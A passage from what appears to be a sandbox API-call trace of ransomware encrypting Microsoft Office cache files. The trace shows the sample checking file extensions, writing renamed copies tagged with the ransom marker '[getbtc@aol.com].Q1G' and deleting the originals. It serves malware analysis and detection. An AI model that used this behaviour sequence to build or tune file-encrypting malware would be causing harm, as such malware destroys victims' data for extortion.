(lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 0x2020 [0035.825] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.825] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.825] GetLastError () returned 0x0 [0035.825] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0035.839] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0035.840] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.840] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0035.840] SetEndOfFile (hFile=0x198) returned 1 [0035.840] CloseHandle (hObject=0x198) returned 1 [0035.841] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.841] SetEndOfFile (hFile=0x194) returned 1 [0035.841] CloseHandle (hObject=0x194) returned 1 [0035.842] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.842] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.xml")) returned 1 [0035.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.842] lstrlenW (lpString=".doc") returned 4 [0035.842] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.842] lstrlenW (lpString=".docx") returned 5 [0035.842] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.842] lstrlenW (lpString=".pdf") returned 4 [0035.842] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.842] lstrlenW (lpString=".xls") returned 4 [0035.842] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.842] lstrlenW (lpString=".xlsx") returned 5 [0035.842] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.842] lstrlenW (lpString=".ppt") returned 4 [0035.842] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.842] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.842] lstrlenW (lpString=".zip") returned 4 [0035.842] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.842] lstrlenW (lpString=".rar") returned 4 [0035.842] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString=".bz2") returned 4 [0035.843] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString=".7z") returned 3 [0035.843] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.843] lstrlenW (lpString=".dbf") returned 4 [0035.843] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.843] lstrlenW (lpString=".1cd") returned 4 [0035.843] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.843] lstrlenW (lpString=".jpg") returned 4 [0035.843] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.843] lstrlenW (lpString=".doc") returned 4 [0035.843] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString=".docx") returned 5 [0035.843] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.843] lstrlenW (lpString=".pdf") returned 4 [0035.843] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString=".xls") returned 4 [0035.843] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString=".xlsx") returned 5 [0035.843] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.843] lstrlenW (lpString=".ppt") returned 4 [0035.843] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.843] lstrlenW (lpString=".zip") returned 4 [0035.843] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.843] lstrlenW (lpString=".rar") returned 4 [0035.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.844] lstrlenW (lpString=".bz2") returned 4 [0035.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.844] lstrlenW (lpString=".7z") returned 3 [0035.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.844] lstrlenW (lpString=".dbf") returned 4 [0035.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.844] lstrlenW (lpString=".1cd") returned 4 [0035.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.xml") returned 80 [0035.844] lstrlenW (lpString=".jpg") returned 4 [0035.844] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.844] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.844] lstrlenW (lpString="Setup.xml") returned 9 [0035.844] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.844] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1886) returned 1 [0035.844] CloseHandle (hObject=0x194) returned 1 [0035.844] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.845] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.845] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.845] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.845] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.845] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.845] GetLastError () returned 0x0 [0035.845] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x75e, lpOverlapped=0x0) returned 1 [0035.847] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x760, lpOverlapped=0x0) returned 1 [0035.847] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.848] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.848] SetEndOfFile (hFile=0x198) returned 1 [0035.848] CloseHandle (hObject=0x198) returned 1 [0035.849] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.849] SetEndOfFile (hFile=0x194) returned 1 [0035.849] CloseHandle (hObject=0x194) returned 1 [0035.849] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.850] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.850] lstrlenW (lpString=".doc") returned 4 [0035.850] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.850] lstrlenW (lpString=".docx") returned 5 [0035.850] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.850] lstrlenW (lpString=".pdf") returned 4 [0035.850] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.850] lstrlenW (lpString=".xls") returned 4 [0035.850] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.850] lstrlenW (lpString=".xlsx") returned 5 [0035.850] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.850] lstrlenW (lpString=".ppt") returned 4 [0035.850] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.850] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.850] lstrlenW (lpString=".zip") returned 4 [0035.850] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.850] lstrlenW (lpString=".rar") returned 4 [0035.850] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.850] lstrlenW (lpString=".bz2") returned 4 [0035.851] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString=".7z") returned 3 [0035.851] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.851] lstrlenW (lpString=".dbf") returned 4 [0035.851] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.851] lstrlenW (lpString=".1cd") returned 4 [0035.851] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.851] lstrlenW (lpString=".jpg") returned 4 [0035.851] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.851] lstrlenW (lpString=".doc") returned 4 [0035.851] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString=".docx") returned 5 [0035.851] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.851] lstrlenW (lpString=".pdf") returned 4 [0035.851] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString=".xls") returned 4 [0035.851] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString=".xlsx") returned 5 [0035.851] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.851] lstrlenW (lpString=".ppt") returned 4 [0035.851] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.851] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.851] lstrlenW (lpString=".zip") returned 4 [0035.851] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.851] lstrlenW (lpString=".rar") returned 4 [0035.851] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.852] lstrlenW (lpString=".bz2") returned 4 [0035.852] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.852] lstrlenW (lpString=".7z") returned 3 [0035.852] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.852] lstrlenW (lpString=".dbf") returned 4 [0035.852] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.852] lstrlenW (lpString=".1cd") returned 4 [0035.852] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.852] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.852] lstrlenW (lpString=".jpg") returned 4 [0035.852] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.852] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.852] lstrlenW (lpString="PublisherMUI.xml") returned 16 [0035.852] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.854] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=1450) returned 1 [0035.854] CloseHandle (hObject=0x194) returned 1 [0035.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 0x2020 [0035.854] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0035.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0035.854] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.854] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0035.854] GetLastError () returned 0x0 [0035.854] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x5aa, lpOverlapped=0x0) returned 1 [0035.856] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0035.857] ReadFile (in: hFile=0x194, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.857] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0035.857] SetEndOfFile (hFile=0x198) returned 1 [0035.857] CloseHandle (hObject=0x198) returned 1 [0035.858] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.858] SetEndOfFile (hFile=0x194) returned 1 [0035.858] CloseHandle (hObject=0x194) returned 1 [0035.858] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x2020) returned 1 [0035.859] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.xml")) returned 1 [0035.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.859] lstrlenW (lpString=".doc") returned 4 [0035.859] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.859] lstrlenW (lpString=".docx") returned 5 [0035.859] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.859] lstrlenW (lpString=".pdf") returned 4 [0035.859] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.859] lstrlenW (lpString=".xls") returned 4 [0035.859] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.859] lstrlenW (lpString=".xlsx") returned 5 [0035.859] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.859] lstrlenW (lpString=".ppt") returned 4 [0035.859] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.859] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.859] lstrlenW (lpString=".zip") returned 4 [0035.859] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.859] lstrlenW (lpString=".rar") returned 4 [0035.859] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString=".bz2") returned 4 [0035.860] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString=".7z") returned 3 [0035.860] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.860] lstrlenW (lpString=".dbf") returned 4 [0035.860] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.860] lstrlenW (lpString=".1cd") returned 4 [0035.860] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.860] lstrlenW (lpString=".jpg") returned 4 [0035.860] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.860] lstrlenW (lpString=".doc") returned 4 [0035.860] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString=".docx") returned 5 [0035.860] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0035.860] lstrlenW (lpString=".pdf") returned 4 [0035.860] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString=".xls") returned 4 [0035.860] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString=".xlsx") returned 5 [0035.860] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0035.860] lstrlenW (lpString=".ppt") returned 4 [0035.860] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.860] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.860] lstrlenW (lpString=".zip") returned 4 [0035.860] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.860] lstrlenW (lpString=".rar") returned 4 [0035.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.861] lstrlenW (lpString=".bz2") returned 4 [0035.861] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.861] lstrlenW (lpString=".7z") returned 3 [0035.861] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.861] lstrlenW (lpString=".dbf") returned 4 [0035.861] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.861] lstrlenW (lpString=".1cd") returned 4 [0035.861] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.861] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.xml") returned 79 [0035.861] lstrlenW (lpString=".jpg") returned 4 [0035.861] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.861] lstrcmpiW (lpString1=".xml", lpString2=".Q1G") returned 1 [0035.861] lstrlenW (lpString="Setup.xml") returned 9 [0035.861] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), 